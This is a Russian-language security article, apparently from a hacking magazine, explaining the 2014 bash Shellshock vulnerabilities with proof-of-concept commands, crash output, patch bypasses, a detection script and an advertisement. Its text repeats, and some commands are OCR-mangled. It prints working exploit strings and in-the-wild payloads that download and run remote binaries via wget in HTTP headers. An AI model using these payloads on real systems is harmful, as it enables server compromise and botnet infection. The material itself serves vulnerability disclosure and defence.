Нашумевший Shellshock
Содержание:
1. SQL-инъекции в Wordpress-плагине;
2. Переполнение буфера в Teamspeak Client v3.0.14;
3. Нашумевший Shellshock (Вы читаете данный раздел).
Ну и конечно, мы не могли обойти стороной нашумевшую уязвимость в bash, которая получила свое собственное имя наравне с Heartbleed, — ShellShock. Более того, под этим названием скрывается, по сути, не одна уязвимость, но начнем с начала.
Первую уязвимость из серии обнаружил Стефан Шазела (Skphane Chazelas) 12 сентября 2014 года, и он предлагал назвать ее bashdoor, но, увы, не прижилось. Суть уязвимости в том, что интерпретатор позволяет задать внутри себя переменные среды, которые задают определение функций. А после определения функции функции bash продолжает обрабатывать команды. Вследствие чего мы можем осуществить атаку с внедрением полезного кода. Возьмем стандартную проверку на наличие уязвимости:
С помощью () { мы определяем функцию, а вот echo vulnerable уже полезная команда со своими аргументами. Большая опасность заключалась в том, что можно было атаковать через механизм обращения к CGI-скриптам, которые используются во многих веб-сервисах до сих пор. После выхода патча исследователь @taviso обнаружил способ обхода с использованием файла и записи в него результата выполнения команды.
Помимо этой уязвимости, было найдено еще несколько. Пару из них обнаружил Флориан Ваймер (Florian Weimer) из Red Hat (и не только обнаружил, но и приложил патч). Ошибка заключалась в неправильной обработке различных операций с памятью при разборе выражений. Например, одна ошибка в неправильной обработке символа EOF приводит к падению процесса из-за его много-кратного повторения:
Другая ошибка заключается в многократном повторении done.
Теперь перейдем к последним (я надеюсь) уязвимостям из этой серии от Михала Залевского (Michat Zalewski). Уточню, что они также не работают после установки патча от Флориана Ваймера и работают не на всех старых версиях интерпретатора.
Первая связана с повреждением памяти, то есть мы передаем строку большую, чем у нас выделено памяти:
Вторую же назвали приветом из девяностых: по сути, мы просто вставляем любые команды, как есть. Ей подвержены версии bash 4.2 или 4.3:
Последние две уязвимости можно найти с помощью утилиты для фаззинга american fuzzy lop (bit.lv/1q5nVY) от автора. А теперь перейдем к более практичным вещам — эксплойтам и примерам атаки.
EXPLOIT
Начнем с уязвимости CVE-2014-6271. Пример ответа на уязвимой машине с помощью команды, которую мы рассмотрели выше:
После патча вывод в терминале был уже другой:
Но, увы, чуть позже появления патча был найден способ его обхода, и системы снова были подвержены уязвимостям. Изначально пример новой проверки выглядел так:
После проверки обновленной системы он не сработал, и я было обрадовался, но потом поменял sh на bash и в результате наш эксплойт успешно вывел текущую дату. Пример успешного запуска ты можешь увидеть на скриншоте:
Теперь уже этому обходу был присвоен новый номер — CVE-2014-7169. Далее уязвимости с многократными повторениями символа EOF и слова done. CVE-2014-7186:
Эксплойты для найденных уязвимостей от Михала Залевского. CVE-2014-6277:
Ниже мы рассмотрим примеры атаки с использованием первых ShellShock-уязвимостей, но никто не мешает во все эти утилиты добавить проверку на все уязвимости.
Хакер Роберт Грэхем (Robert Graham) решил проверить наличие уязвимых серверов в интернете. В качестве средства для исследования была выбрана программа masscan (bit.ly/1sZZUK1) с открытым исходным кодом. Исследователь лишь внес небольшие изменения в код, добавив свою полезную нагрузку в запросы:
Если сервер уязвим, то он отправит нам три пакета-пинга.
Рассмотрим пример более опасной атаки. Скачиваем исполняемый файл и запускаем.
Представители темной стороны тоже не стали сидеть на месте и быстро начали использовать эту уязвимость в своих целях. Например, один из вирусов, найденный аналитиками из Касперского, — Backdoor. Linux.Gafgyt.
На скриншоте приведен пример обмена командами между ботом и управляющим центром. Бот периодически сообщает, что жив. Далее хозяин запускает (или запускается автоматически) сканер рандомных IP-адресов для размножения, и иногда дается команда UDP-флуд определенных адресов. Помимо него, в «дикой природе» еще встречается Perl-бот. Пример атаки:
Внутри архива Perl-скрипт, обфусцированный с помощью Base64. Он легко расшифровывается, поэтому полный исходный код бота (bit.ly/1s516JX) был выложен на GitHub. Он может использоваться для сканирования, ддоса, спама и прочего.
Примеров атаки, использующей эту уязвимость, появляется все больше. Приведу лишь некоторые из них:
• Python-скрипт, отправляющий письма на уязвимый сервер с запущенным SMTP (bit.ly/1s29IX4) и атаками в заголовках;
• Python-скрипт для атаки на модуль mod_cgi сервера Apache (bit.ly/1s45nOT);
• пример атаки на OpenVPN-сервер (bit.ly/1vl52zp);
• MetasDloit-модуль (bit.ly/1utzTS3);
• видео с примером атаки с использованием утилиты Burp Suite (bit.ly/1vlbE0D);
• обновляемый список атак/эксплойтов (bit.ly/1voCDiG).
TARGETS
Все, что использует bash (например, подвержены атакам DHCP-клиенты, CGI-скрипты и ssh-аккаунты для Git/Subversion, OpenVPN, Exim, qmail, procmail, Mailfilter, SER, Phusion Passenger, Radius-серверов и служб Inetd). Также становятся уязвимы различные Perl-скрипты, о чем написано в небольшой статье (bit.ly/1vlDSOO).
Проверить, уязвима ли система для некоторых уязвимостей из списка, можно с помощью небольшого скрипта:
Или воспользоваться комплексным скриптом bashcheck (bit.ly/1uttTbY), который проверяет по всему списку.
SOLUTION
Есть исправление от производителя. Но этой уязвимости подвержены многие устройства за последние 25 лет, и далеко не все из них поддерживаются, или вообще компании-производители уже не существуют очень давно. Но можно попытаться пропатчить вручную с помощью фреймворка radare2 (bit.ly/1uW5nS3).
Разработали передовую защиту от хаккинга и хотите вывести ее в массы? Тогда рекомендую Вам прямо сейчас обратиться за помощью в http://www.autopack.ru (http://www.autopack.ru). Опытные рекламщики смогут в самые сжатые сроки познакомить с вашим программным продуктом тысячи потенциальных клиентов!
1. SQL-инъекции в Wordpress-плагине;
2. Переполнение буфера в Teamspeak Client v3.0.14;
3.
CVSSv2: 10.0 (Av:R/Ac:L/A:N/C:C/l:C/A:C)
Дата релиза: 24-29 сентября 2014 года
Автор: Stephane Chazelas, Florian Weimer, Michal Zalewski
CVE: 2014-6271,
CVE: 2014-6277,
CVE: 2014-6278,
CVE: 2014-7169,
CVE: 2014-7186,
CVE: 2014-7187
Дата релиза: 24-29 сентября 2014 года
Автор: Stephane Chazelas, Florian Weimer, Michal Zalewski
CVE: 2014-6271,
CVE: 2014-6277,
CVE: 2014-6278,
CVE: 2014-7169,
CVE: 2014-7186,
CVE: 2014-7187
Ну и конечно, мы не могли обойти стороной нашумевшую уязвимость в bash, которая получила свое собственное имя наравне с Heartbleed, — ShellShock. Более того, под этим названием скрывается, по сути, не одна уязвимость, но начнем с начала.
Первую уязвимость из серии обнаружил Стефан Шазела (Skphane Chazelas) 12 сентября 2014 года, и он предлагал назвать ее bashdoor, но, увы, не прижилось. Суть уязвимости в том, что интерпретатор позволяет задать внутри себя переменные среды, которые задают определение функций. А после определения функции функции bash продолжает обрабатывать команды. Вследствие чего мы можем осуществить атаку с внедрением полезного кода. Возьмем стандартную проверку на наличие уязвимости:
$ env х='() { echo vulnerable' bash -с
"echo this is a test"С помощью () { мы определяем функцию, а вот echo vulnerable уже полезная команда со своими аргументами. Большая опасность заключалась в том, что можно было атаковать через механизм обращения к CGI-скриптам, которые используются во многих веб-сервисах до сих пор. После выхода патча исследователь @taviso обнаружил способ обхода с использованием файла и записи в него результата выполнения команды.
Помимо этой уязвимости, было найдено еще несколько. Пару из них обнаружил Флориан Ваймер (Florian Weimer) из Red Hat (и не только обнаружил, но и приложил патч). Ошибка заключалась в неправильной обработке различных операций с памятью при разборе выражений. Например, одна ошибка в неправильной обработке символа EOF приводит к падению процесса из-за его много-кратного повторения:
$ bash -с ’true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’
bash: line 2: warning: here-document at line 2 delimited by end-of-file (wanted 'EOF')
...
(wanted 'EOF')
bash: line 2: warning: here-document at line 2 delimited by end-of-file (wanted EOF')
bash: line 2: make_here_document: bad instruction type 33 Segmentation fault (core dumped)Другая ошибка заключается в многократном повторении done.
Теперь перейдем к последним (я надеюсь) уязвимостям из этой серии от Михала Залевского (Michat Zalewski). Уточню, что они также не работают после установки патча от Флориана Ваймера и работают не на всех старых версиях интерпретатора.
Первая связана с повреждением памяти, то есть мы передаем строку большую, чем у нас выделено памяти:
НТТР_С00КIЕ="() { х() { }j х() { } <<'perl -е ’{print
"A"xl000}"j }" bash -с :
bash[25662]: segfault at 41414141 ip 00190d96 sp bfbe6354 error 4 in libc-2.12.so[110000+191000]Вторую же назвали приветом из девяностых: по сути, мы просто вставляем любые команды, как есть. Ей подвержены версии bash 4.2 или 4.3:
$(){_;} >_[$($())] { echo hi mom; id; }Последние две уязвимости можно найти с помощью утилиты для фаззинга american fuzzy lop (bit.lv/1q5nVY) от автора. А теперь перейдем к более практичным вещам — эксплойтам и примерам атаки.
EXPLOIT
Начнем с уязвимости CVE-2014-6271. Пример ответа на уязвимой машине с помощью команды, которую мы рассмотрели выше:
$ env х='() { echo vulnerable' bash -с "echo this is a test"
vulnerable
this is a testПосле патча вывод в терминале был уже другой:
$ env х='() { :;}; echo vulnerable' bash -с "echo this is a test"
bash: warning: x: ignoring function definition attempt bash: error importing function definition for 'x' this is a testНо, увы, чуть позже появления патча был найден способ его обхода, и системы снова были подвержены уязвимостям. Изначально пример новой проверки выглядел так:
$ env Х='() { (а)=>' sh -с "echo date"; cat echoПосле проверки обновленной системы он не сработал, и я было обрадовался, но потом поменял sh на bash и в результате наш эксплойт успешно вывел текущую дату. Пример успешного запуска ты можешь увидеть на скриншоте:
Теперь уже этому обходу был присвоен новый номер — CVE-2014-7169. Далее уязвимости с многократными повторениями символа EOF и слова done. CVE-2014-7186:
$ bash -с 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF
<<EOF <<EOF <<EOF <<EOF <<EOF' ||
echo "CVE-2014-7186 vulnerable, redir_stack"
CVE-2014-7187:
$ (for x in {1..200} ; do echo "for x$x in ; do done; for x in
{1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable,
word_lineno"Эксплойты для найденных уязвимостей от Михала Залевского. CVE-2014-6277:
$() { х() { _; }; х() { _; } <<а; }
CVE-2014-6278:
НТТР_СOOКIЕ='() { > >_[$($( ))]
{ echo hi mom; id; }' bash -c :
ИЛИ
GET /some/script.cgi HTTP/1.0
User-Agent: () { _; } >_[$($())] { id >/tmp/hi_mom; } Ниже мы рассмотрим примеры атаки с использованием первых ShellShock-уязвимостей, но никто не мешает во все эти утилиты добавить проверку на все уязвимости.
Хакер Роберт Грэхем (Robert Graham) решил проверить наличие уязвимых серверов в интернете. В качестве средства для исследования была выбрана программа masscan (bit.ly/1sZZUK1) с открытым исходным кодом. Исследователь лишь внес небольшие изменения в код, добавив свою полезную нагрузку в запросы:
http-header[Cookie] = () { :; }; ping -с 3 209.126.230.74
http-header[Host] = () { :; }; ping -с 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 209.126.230.74Если сервер уязвим, то он отправит нам три пакета-пинга.
Рассмотрим пример более опасной атаки. Скачиваем исполняемый файл и запускаем.
192.168.1.1 - - [25/Sep/2014:14:00:00 +0000] "GET / НТТР/1.0" 400 349 "() {
wget -0 /tmp/besh http://192.168.1.1/filename;chmod777/tmp/besh;/tmp/besh;"Представители темной стороны тоже не стали сидеть на месте и быстро начали использовать эту уязвимость в своих целях. Например, один из вирусов, найденный аналитиками из Касперского, — Backdoor. Linux.Gafgyt.
На скриншоте приведен пример обмена командами между ботом и управляющим центром. Бот периодически сообщает, что жив. Далее хозяин запускает (или запускается автоматически) сканер рандомных IP-адресов для размножения, и иногда дается команда UDP-флуд определенных адресов. Помимо него, в «дикой природе» еще встречается Perl-бот. Пример атаки:
UserAgent: () { /bin/bash -с "wget -О /var/
tmp/ec.z 74.YYY.YYY.YY/ec.zjchmod +х /var/tmp/ес.zj/
var/tmp/ec.z;rm -rf /var/tmp/ес.z*"Внутри архива Perl-скрипт, обфусцированный с помощью Base64. Он легко расшифровывается, поэтому полный исходный код бота (bit.ly/1s516JX) был выложен на GitHub. Он может использоваться для сканирования, ддоса, спама и прочего.
Примеров атаки, использующей эту уязвимость, появляется все больше. Приведу лишь некоторые из них:
• Python-скрипт, отправляющий письма на уязвимый сервер с запущенным SMTP (bit.ly/1s29IX4) и атаками в заголовках;
• Python-скрипт для атаки на модуль mod_cgi сервера Apache (bit.ly/1s45nOT);
• пример атаки на OpenVPN-сервер (bit.ly/1vl52zp);
• MetasDloit-модуль (bit.ly/1utzTS3);
• видео с примером атаки с использованием утилиты Burp Suite (bit.ly/1vlbE0D);
• обновляемый список атак/эксплойтов (bit.ly/1voCDiG).
TARGETS
Все, что использует bash (например, подвержены атакам DHCP-клиенты, CGI-скрипты и ssh-аккаунты для Git/Subversion, OpenVPN, Exim, qmail, procmail, Mailfilter, SER, Phusion Passenger, Radius-серверов и служб Inetd). Также становятся уязвимы различные Perl-скрипты, о чем написано в небольшой статье (bit.ly/1vlDSOO).
Проверить, уязвима ли система для некоторых уязвимостей из списка, можно с помощью небольшого скрипта:
bash -с "true $(printf 'c/dev/null
if [ $?_!= 0 ]; then
echo -e "Vulnerable to CVE-2014-7186"
fi
bash -c "'for i in {1..200}; do echo -n "for x$i in; do done; for i in
{1..200}; do echo -n "done;"jdone'" 2>/dev/null if [ $? != 0 ]; then
echo -e "Vulnerable to CVE-2014-7187"
fi Или воспользоваться комплексным скриптом bashcheck (bit.ly/1uttTbY), который проверяет по всему списку.
SOLUTION
Есть исправление от производителя. Но этой уязвимости подвержены многие устройства за последние 25 лет, и далеко не все из них поддерживаются, или вообще компании-производители уже не существуют очень давно. Но можно попытаться пропатчить вручную с помощью фреймворка radare2 (bit.ly/1uW5nS3).
Разработали передовую защиту от хаккинга и хотите вывести ее в массы? Тогда рекомендую Вам прямо сейчас обратиться за помощью в http://www.autopack.ru (http://www.autopack.ru). Опытные рекламщики смогут в самые сжатые сроки познакомить с вашим программным продуктом тысячи потенциальных клиентов!